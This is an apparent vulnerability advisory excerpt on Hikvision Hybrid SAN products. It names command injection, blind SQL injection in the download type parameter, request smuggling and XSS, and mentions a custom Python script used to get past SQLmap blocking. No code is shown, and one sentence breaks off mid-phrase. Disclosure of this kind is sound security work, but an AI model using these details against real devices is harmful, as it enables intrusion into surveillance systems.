Vendor Description:  
Hikvision is a world-leading surveillance manufacturer and supplier of  
video surveillance and Internet of Things (IoT) equipment for civilian and  
military purposes.  
Some Hikvision Hybrid SAN products were vulnerable to multiple remote code  
execution vulnerabilities such as command injection, Blind SQL injection,  
HTTP request smuggling, and reflected cross-site scripting.  
This resulted in remote code execution that allows an adversary to execute  
arbitrary operating system commands and more. However, an adversary must be  
on the same network to leverage this vulnerability to execute arbitrary  
Vulnerability description:  
A manual test confirmed that The download type parameter was vulnerable to  
Blind SQL injection.I created a Python script to automate and enumerate SQL  
versions as the Application was behind the firewall and block all the  
requests from SQLmap.
